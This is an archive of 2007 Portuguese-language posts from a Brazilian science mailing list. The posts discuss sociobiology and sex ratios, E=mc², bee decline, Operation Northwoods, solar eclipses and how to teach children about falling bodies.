> > machos. As estratégias evolutivas são plásticas, e se ajustam às
> > condições sociais e ambientais do momento.
>
> Se vc tem desvio na razão sexual por motivos evolutivos, então esse
> devio é genético.

Certamente. Os humanos estão programados para serem mais sociais,
agressivos, corajosos, honestos e justos de acordo com a posição
hierárquica que eles ocupam. A concentração de serotonina varia de
acordo com a posição social. Porque não os espermatozóides Y e X?

> Se vc vai atribuir esse grau de plasticidade então
> poderia se perguntar: por q é q os seres humanos não mudam seu sexo
de
> acordo com o ambiente?

Esse seria um passo difícil de ser dado para um padrão complexo como
o humano. Mas esse exemplo do peixe ilustra as vantagens de ser macho
no topo, e fêmea na base. Um macho controla um território e tem um
harém. Se chega um outro macho e o vence, ele não é expulso do
território. Ele vira uma fêmea e se integra ao harém.

> Por q é a seleção natural não enxerga q se a
> pessoa muda de sexo de acordo com a disponibilidade de parceiro
então
> suas chances de ter filhos aumenta? Afinal, há peixes q mudam de
sexo.
> Se vc aceita as restrições evolutivas q fizeram com q humanos
tivessem
> uma estratégia fixa no q se refere à determinação sexual, não terá q
> clamar por plasticidade na razão sexual - sobretudo qdo não temos
> indícios empíricos de q tal desvio seja mm vantajoso. Do contrário
> estaríamos nos perguntando: por q a seleção natural não criou
humanos
> q respirassem debaixo da água? por q os humanos não voam?

Todos esses são passos difíceis de ser dados. É que me parece que
seria um passo tão simples inibir a quantidade de espermatozóides Y,
ou X. É um pulinho evolutivo, e é estranho que a evolução não tenha o
dado.

> O melhor é partir de um fato empírico e
> tentar elaborar uma hipótese explicativa para esse fato (e depois
> testar a hipótese) e não partir de uma hipótese especulativa e
querer
> uma explicação para o porq dessa hipótese especulativa não ser
observada.

São bons exercícios evolutivos. Quem sabe através dele a gente não
chega a coisas interessantes.

Um abraço.
João de Carvalho.




SUBJECT: Re: [ciencialist] E=m.c2
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 01/05/2007 23:37

Oh dear...

[ ]s

Alvaro Augusto



----- Original Message -----
From: "Ferrari" <emailferrari@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, April 30, 2007 5:55 PM
Subject: Re: [ciencialist] E=m.c2


> Olá Luiz!
>
> Grato pela resposta.
> Entendi bem.
> Mas ainda fica a questão: o que é c²?
> Km² é area, e c²? Recebe alguma denominação?
> Ou é algo como x² numa equação qualquer?
>
> Vc diz: c² não foi 'feito para imaginar'
>
> c é velocidade da luz, certo?
> c² é velocidade da luz x velocidade da luz, é isto?
> velocidade x velocidade? No que dá isto?
> ou vc diz que c² é inamaginavel porque não tem como
> imaginar velocidade, se imaginar um corpo ao mesmo
> tempo? Seria por isto? Assim como não tem como
> imaginar o molhado sem imaginar a água, seria isto?
>
> Vc diz: m.c² sim... já saiu da imaginação, Hiroshima
> nos contou a realidade disso
>
> me parece que está sua afirmação confirma minha teoria
> da água e do molhado em relação ao c². O que vc acha?
>
>
> agradeço se vc ou alguém me responder
> grato. ferrari
>
>
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SUBJECT: Re: Questões sociobiológicas
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 01/05/2007 23:58

--- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
> Mas posso pelo menos responder a sua pergunta: Os homens de alta
> hierarquia acasalariam com as mulheres que seriam produzidas pelos
> de mais baixa hierarquia.

Presto! E com isso elas trariam eventuais genes da baixa hierarquia
para a alta hierarquia. (O q claro, vai contra o pressuposto de uma
hierarquia fixa.)

> > O problema desse modelo é q ele não tem nenhuma base empírica.
> > Primeira pergunta: "por q é q os hierarcas deveriam apresentar
> > desvio na razão sexual?"
>
> Homens de alta hierarquia podem acasalar (ou mesmo casar, em algumas
> culturas), com mais mulheres que os de baixa.

Por q? Um homem de baixa hierarquia poderia muito bem ter filhos com
muitas mulheres tb. A menos q vc esteja supondo q a hierarquia humana
seja baseada na força, como nos leões ou chimpanzés - em q o macho
dominante seria capaz de, no tapa, manter os pretendentes afastados de
seu harém.

> É que me parece que seria um passo tão simples inibir a quantidade
> de espermatozóides Y, ou X.

Simples???? Simplicidade evolutiva não se manifesta pela simplicidade
de enunciação da característica.

[]s,

Roberto Takata



SUBJECT: Re: Questões sociobiológicas
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 02/05/2007 00:10

Só pra mostrar como especulações apriorísticas em evolução é
complicada, poderíamos concluir o oposto do q se supõem: q os machos
de hierarquia superior ganham mais tendo mais mulheres do q homens em
sua prole.

É quase certo q uma criança nascida de uma dada mulher seja filha
dessa mulher (desconsiderando-se os casos de barriga de aluguel). Mas
há chances não desprezíveis de q a criança nascida da parceira de um
dado homem não seja filha dele.

Por questões de investimento de recursos como a herança, para um
hierarca pode ser mais vantajoso ter mulher em sua prole - de um lado
tendo menos herdeiros e pulverizando menos o patrimônio familiar (q
poderiam ser investidos na continuidade das gerações) e, de outro,
tendo uma maior chance de q o herdeiro seja um herdeiro genético.

Obviamente não estou supondo q de fato seja assim, mas apenas
mostrando q se pode racionalizar o cenário contrário do defendido tb.
Ou seja, apenas especulações não são bases seguras para mais especulações.

Para se buscar a explicações de um fenômeno é preciso antes
certificar-se de q o fenômeno proposto de fato ocorre.

[]s,

Roberto Takata



SUBJECT: Re: O SUMIÇO DAS ABELHAS
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 02/05/2007 06:41

--- Em ciencialist@yahoogrupos.com.br, "Silvio Cordeiro"
> O SUMIÇO DAS ABELHAS
> In RED ICE por Paul Joseph Watson
> tradução: Ligia Cabús
> publicado em 10/04/2007
> Segundo os especialistas, se as abelhas forem extintas, toda a
> humanidade pode perecer em apenas quatro anos.
>
> "Se as abelhas desaparecerem da face da Terra, o homem terá apenas
> mais quatro anos de existência. Sem abelhas não há polinização, não
> há reprodução da flora, sem flora não há animais, sem animais, não
> haverá raça humana" ? disse Albert Einstein.

Einstein foi um gênio, mas - a menos de um homônimo pouco conhecido -
não foi um especialista em meio ambiente ou coisa q o valha.

> Notícias de que a população das abelhas está declinando à
> proporção de 80% em regiões dos Estados Unidos e Europa são um

Proporção de 80% em qto tempo? Em um ano? Em uma estação? Desde os
anos 1980?

[]s,

Roberto Takata



SUBJECT: Res: [ciencialist] Origem do som usado para pedir silêncio
FROM: "Eurico Ferreira de Souza Jr." <caodejah@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 02/05/2007 09:52

[E]> eu sempre pensei que fosse um "sssssh...ut up"

_\|/_

----- Mensagem original ----
De: Marcelo Cortimiglia <cortimiglia@gmail.com>
Para: ciencialist@yahoogrupos.com.br
Enviadas: Terça-feira, 1 de Maio de 2007 6:46:47
Assunto: Re: [ciencialist] Origem do som usado para pedir silêncio













Em 10/04/07, Kentaro Mori <kentaro.mori@ gmail.com> escreveu:

>

> On 4/9/07, Nando <nando.str@gmail. com> wrote:

> > Aquele 'shhh' que todos fazem quando querem que seja feito silêncio...

> > qual a origem desse som?

> > Li em algum lugar (livro do Sagan, talvez) que seria uma imitação do

> > chocalho de serpentes, de modo a incutir medo às criancinhas. ..

> > Isso procede, alguém tem alguma fonte ou isso é só uma suposição?

> >>>

>

> Isso é mencionado pelo Sagan em "Os Dragões do Éden". Aparentemente o

> som seria universal, em todas culturas se você sibilar, as pessoas

> farão silêncio -- do que me lembro do livro.

>



Exato. Acabei de ler esse trecho. E essa eh apenas uma das muitas

especulacoes interessantes presentes na obra.



Alias, o livro me parece excelente, mas fico constantemente me

perguntando sobre a atualidade dele - afinal, foi escrito em 1977.

Principalmente no campo das neurociencias, ao qual Sagan devota todo o

capitulo 3, sei que muita coisa mudou desde entao. So nao sei avaliar

o que ja esta desatualizado e o que ainda vale.



Abracos,



Marcelo Cortimiglia



> É uma especulação, como a do Desmond Morris, de que os grandes peitos

> das fêmeas humanas evoluíram para imitar sua bunda e chamar atenção

> dos machos para a parte superior frontal das mulheres (ele também

> oferece vários argumentos, como o de que os peitos fartos das mulheres

> não fazem muito sentido porque chegam mesmo a dificultar a

> amamentação).

>

> Abraços,

>

> Mori

>












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SUBJECT: Cem milhões de mulheres a menos
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 02/05/2007 10:18

Cem milh�es de mulheres a menos <http://100nexos.com/arquivo/136>
Published May
2nd, 2007 in Ci�ncia <http://100nexos.com/arquivo/category/ciencia/>,
Id�ias<http://100nexos.com/arquivo/category/ideias/>and
Sexoposto <http://100nexos.com/arquivo/category/sexoposto/>. 0
Comments<http://100nexos.com/arquivo/136#respond>

Em um ensaio publicado no New York Review of Books [em 1990, More Than 100
Million Women Are Missing <http://ucatlas.ucsc.edu/gender/Sen100M.html>, o
economista Amartya] Sen afirmou que h� algo em torno de 100 milh�es de
"mulheres faltando" na �sia. Enquanto a propor��o de homens e mulheres no
Ocidente � mais ou menos equivalente, em pa�ses como China, �ndia e
Paquist�o h� muito mais homens que mulheres. Sen acusou as culturas de tais
pa�ses de graves maltratos a jovens mulheres. �
Mas agora outro economista chegou a uma conclus�o surpreendentemente
diferente. Emily Oster � uma estudante formada em economia em Harvard que
come�ou a fazer an�lises de regress�o quando tinha dez anos (seus pais s�o
economistas) e est� particularmente interessada em estudar doen�as � Um dia
no ver�o passado � ela descobriu um fato curiosos. Em uma s�rie de estudos
m�dicos em pequena escala na Gr�cia, Groenl�ndia e outros locais,
pesquisadores descobriram que uma mulher gr�vida com hepatite B tem muito
mais chances de ter um menino que uma menina. N�o est� claro o porqu� �
talvez fetos femininos sejam mais facilmente abortados quando expostos ao
v�rus.
Oster ficou apropriadamente intrigada. Ela decidiu ver se poderia usar dados
para confirmar a tese de Blumberg. Uma vacina para hepatite B, ela
descobriu, estava dispon�vel desde o fim dos anos 1970. Ela encontrou dados
confi�veis de um programa de vacina��o do governo americano no
Alasca.Antesque a vacina��o come�asse, os nativos do Alasca tinham
historicamente uma
grande incid�ncia de hepatite B assim como uma alta taxa de nascimento de
meninos em compara��o com meninas. Alascas brancos, enquanto isso, possu�am
uma baixa incid�ncia de hepatite B e geravam a propor��o padr�o de meninos e
meninas. Mas depois que um programa de vacina��o universal foi conduzido no
Alasca, a propor��o de meninos-meninas entre nativos do Alasca caiu quase
que imediatamente para a raz�o normal, enquanto a propor��o de Alascas
brancos continuou inalterada. Um programa de vacina��o em Taiwan revelou
resultados similares.
Leia o artigo completo, em ingl�s: The Search for 100 Million Missing Women
� An economics detective
story<http://100nexos.com/The%20Search%20for%20100%20Million%20Missing%20WomenAn%20economics%20detective%20story.>
.

Mais mulheres como Emily <http://home.uchicago.edu/%7Eeoster/>
Oster<http://www.hno.harvard.edu/gazette/2001/10.18/09-oster.html>tamb�m
n�o fariam falta. HA Ha ha.
via Freakonomics blog <http://www.freakonomics.com/blog/>


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Operação Northwoods: militares americanos planejando atos de terrorismo
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 02/05/2007 10:20

Opera��o Northwoods: militares americanos planejando atos de
terrorismo<http://100nexos.com/arquivo/137> Published May
2nd, 2007 in Bizonho <http://100nexos.com/arquivo/category/bizonho/>. 0
Comments <http://100nexos.com/arquivo/137#respond>

<http://www.gwu.edu/%7Ensarchiv/news/20010430/>
Em mar�o de 1962, pouco depois do fiasco da ba�a dos
porcos<http://pt.wikipedia.org/wiki/Ba%C3%ADa_dos_Porcos>,
o governo americano ainda buscava desesperadamente alguma forma de remover o
estado comunista em seu quintal. L�deres militares propuseram ent�o ao
secret�rio de defesa a mirabolante Opera��o
Northwoods<http://en.wikipedia.org/wiki/Operation_Northwoods>.
Envolvia a encena��o de uma s�rie de falsos ataques terroristas, alguns dos
quais sobre solo americano e envolvendo a morte de civis, que seriam ent�o
atribu�dos a Fidel Castro. A id�ia era conseguir apoio popular para uma
invas�o a Cuba. Um dos cen�rios propostos envolve exatamente o que
paran�icos afirmam ter ocorrido em 11 de setembro de 2001:

"Uma aeronave � seria pintada e numerada como uma duplicata exata de uma
aeronave civil � Em uma hora designada, a duplicata seria substitu�da pela
aeronave civil de verdade e seria carregada com passageiros seletos, todos
abrigados sob pseud�nimos cuidadosamente preparados. A aeronave registrada
de verdade seria convertida em um drone [teleguiado]. � A aeronave
carregando os passageiros seria baixada a uma altitude m�nima e iria
diretamente a um campo auxiliar na base a�rea de Eglin onde preparativos
teriam sido feitos para evacuar os passageiros e retornar a aeronave a seu
status original. A aeronave teleguiada enquanto isso continuar� a voar com o
plano de v�o original. Quando estiver sobre Cuba o avi�o teleguiado come�ar�
a transmitir a freq��ncia internacional de perigo "MAY DAY" afirmando estar
sob ataque de aeronaves MIG cubanas. A transmiss�o ser� interrompida pela
destrui��o da aernave que ser� detonada por um sinal de r�dio".

A *Opera��o Northwoods *foi rejeitada em 1962 � Cuba n�o foi invadida,
Castro ainda vive � e os documentos registrando as geniais id�ias foram
tornados p�blicos em 1997, ironicamente como conseq��ncia das investiga��es
sobre o assassinato de John Kennedy <http://100nexos.com/arquivo/112>. Quer
algo ainda mais bizarro? Em mar�o de 2001 os produtores de Arquivo-X
veicularam o epis�dio p�loto da s�rie *Lone Gunman *em que uma fac��o do
governo americano tenta criar um falso ataque terrorista lan�ando avi�es
contra as Torres G�meas <http://www.youtube.com/watch?v=kQyYuWXp3E8>.


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Super-hiper-ultra-Coincidência Cósmica
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 02/05/2007 10:37

Super-hiper-ultra-Coincidência
Cósmica<http://www.ceticismoaberto.com/news/?p=872>

<http://cellar.org/iotd.php?threadid=13753>
A imagem acima é uma composição de nada menos que 231 fotografias tomadas no
eclipse solar no deserto líbio em março de 2006 por Miloslav Druckmuller e
Peter Aniol. A composição de tantas fotografias permite destacar aspectos
únicos da Lua e dos raios saindo da coroa
solar<http://pt.wikipedia.org/wiki/Coroa_solar>.
O resultado não é apenas estupendamente belo, é também uma demonstração de
uma das maiores Coincidências Cósmicas que poucos macacos pelados sobre o
planeta sequer concebem.
Enquanto milhões coçam suas cabeças frente a bobagens como simulacros em
torradas e afins<http://marcianitosverdes.haaan.com/2007/01/2006-el-ao-de-las-pareidolias/>,
ignoram que os dois maiores corpos celestes visíveis da face do pálido ponto
azul têm quase que exatamente o mesmo tamanho aparente. Apesar de ser
quatrocentas vezes menor que o Sol, a Lua também está quatrocentas vezes
mais próxima. Não há nenhum mecanismo que determine tal coincidência, e há
algumas centenas de milhões de anos, bem como daqui a alguns bilhões de
anos, esta coincidência não será mais visível e os eclipses não serão tão
magníficos. Nada similar ocorre com quaisquer outros planetas ou corpos do
sistema solar. É obra do *mero acaso* que durante o período em que seres
inteligentes construíram a única civilização em anos-luz, esta coincidência
até onde sabemos única de tamanhos aparentes também ocorra. Veja mais em O
Lado Escuro da Lua, a Grande Coincidência Cósmica e uma Explicação
Heterodoxa <http://www.ceticismoaberto.com/ciencia/darkside.htm>.

Postado em Fortianismo <http://www.ceticismoaberto.com/news/?cat=4>,
Curiosidades <http://www.ceticismoaberto.com/news/?cat=7>,
Ciência<http://www.ceticismoaberto.com/news/?cat=11>,
Miscelânea <http://www.ceticismoaberto.com/news/?cat=13> | Por Mori Comente!
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SUBJECT: Re: [ciencialist] Re: Fw: Física
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/05/2007 10:46

Vivendo e aprendendo, viva os Cordeiros!
Mas ... a mensagem dirigida ao Roberto tinha outro 'espírito'.
[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "Silvio Cordeiro" <scordeiroes@superig.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: domingo, 29 de abril de 2007 20:29
Assunto: Re: [ciencialist] Re: Fw: Física


LEO, meu defenestrador:

Minha família fugiu da Irlanda para Portugal fugindo da Inquisição: eram pescadores, e especialista em fabricar cordas ou cordoalha que é um pos principais instrumentos de navegação em barcos a vela (da época) e mesmo dentro dos navios, havia sempre um tripulante chamado cordeiro pois tinha por ofício cuidar do cordoalha, atividade vital para o êxito da empreitada, ficando logo abaixo do Imediato.
Daí, caro amigo, vem o apelido que se transformou em nome familiar.
Em Portugal alguns Cordeiro se entrelaçaram com a família do Cap. Inácio de Oliveira Campos, descendente do Cabral que se casou aqui, na terra brasilis, com D. Joaquina de Pompéu.
É uma descendência humilde mas limpinha.

seu amigo,

silvio.


----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist@yahoogrupos.com.br
Sent: Thursday, April 26, 2007 9:08 AM
Subject: Re: [ciencialist] Re: Fw: Física


Roberto,

'cordeiro' não é aquele que dá corda? :-)

[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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SUBJECT: Re: [ciencialist] Re: Caiu na prova
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/05/2007 11:22

Olás,

eu não respondi à questão do JC e acredito que não temos argumentos para respondê-la. Essa e diversas outras (todas sem resposta para a gurizada) é que me fizeram tirar do Feira de Ciências o 'ensino básico' de Ciências: não estou capacitado para tanto.
Lembro que coloquei no Estadinho (o jornalzinho que acompanhava o Estadão) que saia todo sábado em SP (eu tinha uma página lá) uma série dessa perguntas de crianças:
Mãe é uma Lua só ou são muitas Luas? Toda noite não nasce uma?
Mãe o avião aqui no aeroporto é grandão e lá em cima é pequenino, por que?
Mãe, a professora disse que a terra é redonda. Como ficam de pé as pessoas do outro lado? Elas dormem porque não podem ficar de pé?
.......
Não fui feliz com as respostas (vi isso bem depois!); todas minhas respostas eram "científicas"!

Nessa em particular, do JC, não haverá resposta até que o garoto possa discernir peso e massa.
Se a massa aumenta, o peso aumenta na mesma proporção e a aceleração é a mesma [numa dada região da terra]. Como mostrar isso ao guri?
A continuação do problema é pior ainda: o peso pode ir diminuindo progressivamente sem afetar a massa ([corpo se afastando da terra] --- o peso se anula e a massa continua a mesma!
A continuação da questão pode ferver: quem diminui pode ser apenas o 'peso aparente' [imponderabilidade nos satélites], o peso real e a massa continuam os mesmos!

O garoto ainda não está, na média, na idade de abstrair. Tem garoto excepcional (não, não é substantivo!) --- mas não é média.

Não sei como responder.
Poderia tentar, não custa nada ... e usaria de um pêndulo.

Uma chumbada de 100 g na ponta de um barbante de 2 m de comprimento oscila com período que dá perfeitamente pro garoto ver 'quanto é'. Muitos recursos, inclusive fazê-lo síncrono com o ponteiro dos segundos do relojão da cozinha. É a queda do pêndulo.
Dobre a chumbada, 200 g, o período é o mesmo: aumentou o peso e o pêndulo cai do mesmo jeito, no mesmo tempo!

Veja a idéia oculta para o garoto, o peso do pêndulo aumentou, mas sua massa também, um compensa o outro e o tempo de oscilação (queda) é o mesmo! Ou se quiser ser mais profundo, o componente do peso na direção da tangente, no ponto de inversão do pêndulo, dobrou, mas como a massa também dobrou, a aceleração tangencial é a mesma.

aquele abraço,

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "rmtakata" <roberto.takata@bol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 1 de maio de 2007 21:03
Assunto: RES: [ciencialist] Re: Caiu na prova


--- Em ciencialist@yahoogrupos.com.br, "Ricardo" <ricardos@...>
> Se nada disso der certo eu compro uma pena, um martelo e duas
> passagens pra Lua.

A questão do professor Zeca (não o do pagode) envolve tb psicologia e
não apenas física. O gedanken de Galileu pode ser abstrato demais para
um garoto de 8 anos.

Fico com o filme (e.g.):
http://youtube.com/watch?v=5C5_dOEyAfk

A explicação abstrata pode funcionar melhor como complemento -
explicando depois o q se observa no filme. (Claro, teremos q garantir
ao garoto q o filme é verdadeiro e não uma trucagem "oliudeana".)

[]s,

Roberto Takata



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SUBJECT: Carl Sagan e o googol
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/05/2007 11:25

Prezados cidadãos do planeta Terra,

Estou em busca de um fragmento de vídeo do programa Cosmos, de Carl Sagan,
onde o apresentador discorre sobre o número "googol" (10^100). No momento,
só achei um video com uma narração em espanhol por cima que não permite
compreender muito bem o que Sagan está falando
(http://www.youtube.com/watch?v=Ym2jtvOZZrk). Se alguém tiver notícias do
original, agradeço.

[ ]s

Alvaro Augusto de Almeida
http://alvaroaugusto.blogspot.com
alvaro@lunabay.com.br



SUBJECT: Re: [ciencialist] Caiu na prova
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/05/2007 11:37

Vou comentar uma das tentativas do J. Victor:

"3)Finalmente, apelei para a Primeira Lei de Newton, que disse já conhecer. Antes de cortar a corta do elevador, todo mundo estava em repouso relativo, dentro do elevador(em relação a um referencial ligado ao elevador). Quando a corda é cortada, nenhuma força resultante haverá sobre ninguém, dentro do elevador; então, para o referencial do elevador, pela Primeira Lei de Newton, todos os corpos permanecerão em repouso. Mais uma vez, quem está de fora, verá todos caminharem para a destruição do mesmo jeito, bem comportadinhos, a mesma aceleração."

Furou! ... a lei da inércia não vale para o referencial usado (o elevador em queda livre no campo da gravidade uniforme). Nesse referencial (quando a corda é cortada), as pessoas continuam em repouso relativo por causa das forças de inércia (típica dos referenciais acelerados). As forças de inércia 'equilibram' as forças pesos. Vc não pode estudar o fenômeno "uma pedra caindo" colocando o referencial na pedra!
Há outro furo na frase:"Antes de cortar a corta do elevador, todo mundo estava em repouso relativo, dentro do elevador(em relação a um referencial ligado ao elevador)". Esse 'repouso relativo' derivou do fato da resultante das forças de interação ser nula (peso da pessoa + reação do assoalho do elevador). E, 'peso' é uma força externa à questão (pois o referencial é o elevador). Esse equilíbrio relativo vale também para o referencial externo, o prédio e a terra!

Sorry!

[]'

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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
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-----Mensagem Original-----
De: "J.Victor" <j.victor.neto@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 1 de maio de 2007 20:00
Assunto: Re: [ciencialist] Caiu na prova


Caro Prof.JC,

Quando lí esta questão, pensei o único que podia pensar: nada de trivial,a não só para quem é
maiorzinho de 8 anos... Mas não me animei em dar uma resposta. Hoje, pude acessar novamente minha caixa
e ví que os listeiros também não. Então, resolví falar um pouco. Mas fiz um teste. Meus sobrinhos estavam aquí
e peguei o do primeiro ano do segundo grau, que ainda não chegou nessas paragens. Primeiro, me disse que nada
sabia a respeito. Fiz-lhe a pergunta clássica, e ele respondeu como Aristóteles faria: é claro que a pedra pesada
chega ao solo primeiro que a outra, a mais leve! No exemplo seguinte, substituí a pedra mais leve por um pedaço
de papel. A resposta foi mais enfática ainda. Depois que ele me disse que o ar poderia influenciar nos movimentos,
indaguei: e se o ar fosse eliminado, como seriam as coisas agora? A resposta foi a mesma!. Acrescentando que
os corpos "desceriam" mais livremente!...
Então, depois de dizer-lhe que não era assim, passei aos seguintes argumentos:

1) Aquele que foi usado brilhantemente por Galileu, ao questionar as idéias de Aristóteles: se uma pedra pesada, A, estiver ligada a uma pedra mais leve, B, por um fio muito delgado, e se o conjunto for solto do alto de um edifício, ao mesmo tempo, o fio que interliga os dois retarda ou aumenta a velocidade com que o corpo cai? Se a proposição de Aristóteles está correta, acontecerá o seguinte:
a pedra A será retardada pela pedra B, que "anda" mais devagar. Mas, considerando o sistema pedra A+pedra B + fio muito delgado, teremos um corpo que é mais pesado que a pedra A sozinha. Assim, esse conjunto deverá cair mais rapidamente que a pedra A, segundo o mesmo Aristóteles. Assim, teremos uma situação esquesita: um corpo que retarda e adianta, ao mesmo tempo! Evidentemente, segundo Galileo e qualquer cara de juízo na cabeça, é de se concluir que isto não pode acontecer, que Aristóteles estava equivocado. Portanto, o jeito de eliminar este paradoxo(este, sim, um verdadeiro paradoxo) é admitir que tanto a pédra pesada A quanto a pedra menos pesada B caem do mesmo jeito, se considerado, claro, que o experimento é feito no vácuo; nessas condições, se largados no mesmo instante, chegarão ao solo no mesmo instante.
-Me disse, o sobrinho menos sabido, que o raciocícnio parecia lógico, mas ainda ficou um tempão olhando para teto, buscando entender melhor ou descobrir uma falha no raciocínio. Mas disse que entendeu; mas percebí que a convicção não era lá tanta convicção!

Usei, então, outro argumento:

2) Como ele anda de elevador, e sabe que quando o elevador está descendo ele tem aquela sensação esquesita, como se o estômago estivessa subindo(aquele famoso friozinho), e tem a impressão de que pesa menos, usei um exemplo típico: o elevador está amarrado por uma corda, que limita o seu movimento acelerado descendente. Se a corda for afrouxada o suficiente, isto dará ao passageiro a nítida sensação de que seu peso é menor do que se estivesse parado. Pareceu-me que disto, tem a noção prática, pois não questionou. O efeito sobre seu estômago é a testemunha, nisso concordou! Se agora, num dado instante da "queda" controlada, alguém cortar a corda(corda afrouxada totalmente...), o elevador despencará de vez e a força total sobre o passageiro será zero, pelo que seu peso aparente irá a zero. Poderá até ficar com os pés no piso, mas poderá igualmente levantá-los, pois ficará aí, flutuando, feito alma no céu. Tudo que está à sua volta sofrerá os mesmos efeitos, cairá do mesmo jeito para um observador inercial fora do elevador e estará em repouso relativo uns em relação aos outros, dentro do elevador. A pedra A e a pedra B, dentro do elevador,estariam paradas uma em relação à outra ou a qualquer coisa dentro do elevador. Mas um observador de fora, veria isto: a pedra A caindo ao lado da pedra B, enquanto o elevador, pedras e passageiros rumam para o desfecho final: bum!, ao colidir com o solo.(Pois, o sistema todo estará acelerado, ainda que os passageiros não saibam disso, em condições adequadas).

E, finalmente, um último cartucho:

3)Finalmente, apelei para a Primeira Lei de Newton, que disse já conhecer. Antes de cortar a corta do elevador, todo mundo estava em repouso relativo, dentro do elevador(em relação a um referencial ligado ao elevador). Quando a corda é cortada, nenhuma força resultante haverá sobre ninguém, dentro do elevador; então, para o referencial do elevador, pela Primeira Lei de Newton, todos os corpos permanecerão em repouso. Mais uma vez, quem está de fora, verá todos caminharem para a destruição do mesmo jeito, bem comportadinhos, a mesma aceleração.

Bem, mesmo assim, fiquei com a impressão de que ele precisará amadurecer mais, para absorver com mais propriedade as "trivialidades" acima. Talvez seja mais conveniente eu admitir que não fui competente na explicação e que fico devendo essa a ele. Mas voltarei a conversar, quando ele emadurecer mais o papo acima. Garantiu que irira pensar mais. Mas acabaou achando o assunto bem interessante e estimulante.

Uma das coisas que questionou foi sobre a queda, em si. E quer dizer que em queda livre você está flutuando, nada acontecerá? Pois não é isso que vejo quando alguém cai. Quebrei meu braço ano passado numa queda. Expliquei que a ausência de forças corre apenas
dentro do elevador, do ponto de vista do referencial ligado a ele. (Não foi explicado a ele que isto acontece devido a forças de inércia(impropriamente chamadas de fictíciais-ou não?) que surgem única e exclusivamente em sistemas acelerados, e devidas única e exclusivamente às acelerações, para grantir que a segunda lei de Newton seja válida dentro deles)). Uma mão lava a outra. Mas, se ele olhar para baixo, verá a terra acelerada em direção a ele, com aceleração g, como se estivesse sendo impulsionada por motores altamente potentes. (Que o melhor seria ele sair da frente e deixar que ela passe, senão...). Quer dizer, do ponto de vista de efeitos globais, nada muda, quer o referencial usado seja o o fixo ao elevador, ou o fixo em relação à terra. Cada um um destes "vê" o outro acelerado(Vale sempre o princípio da relatividade de todos os movimentos). E é onde mora o perigo. Quando se chocam, adeus.
Bem, isto ele entendeu. Acho que vai se dedicar à mecânica, como disse. Ele tem 15 anos. É aluno dedicado e estuda num bom colégio. Eu não saberia dizer se um garoto de 8 anos teria alguma noção do que quis dizer acima, mesmo melhorando os dizeres, exemplos, etc. Mas irei tentar. Estou curioso para saber que explicação você, ou alguém mais, daria a ele( o de 8) tal que ele compreeendesse.

Bem, caro Professor, esta minha tentativa de ser claro a respeito de algo que não é trivial, embora pareça. Este assunto, por si só,
daria umas trocentas mensagens.

Dos 3 argumentos, o de que mais gostou, foi exatamente o primeiro!

Espero que quando o amigo JR deixar o coitado do avião voar possamos tratar de assuntos assim.

Sds,
Victor.




----- Original Message -----
From: José Carlos Antonio
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, April 29, 2007 9:28 PM
Subject: [ciencialist] Caiu na prova


Questãozinha que caiu na minha prova de Física para os aluninhos do
primeiro colegial:

Suponha que uma criança de oito anos lhe pergunte "quem cai mais
rápido: uma pedra pesada ou uma pedra mais leve?". O que você
responderia para ela e como a convenceria de sua reposta?

Abraços,
JC





[As partes desta mensagem que não continham texto foram removidas]



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SUBJECT: Re: [ciencialist] E=m.c2
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 02/05/2007 11:52

Olá Ferrari,

não vou me ater ao c² pois já foi dito que essa constante não tem significado físico algum; é um dos passos numa expressão matemática.

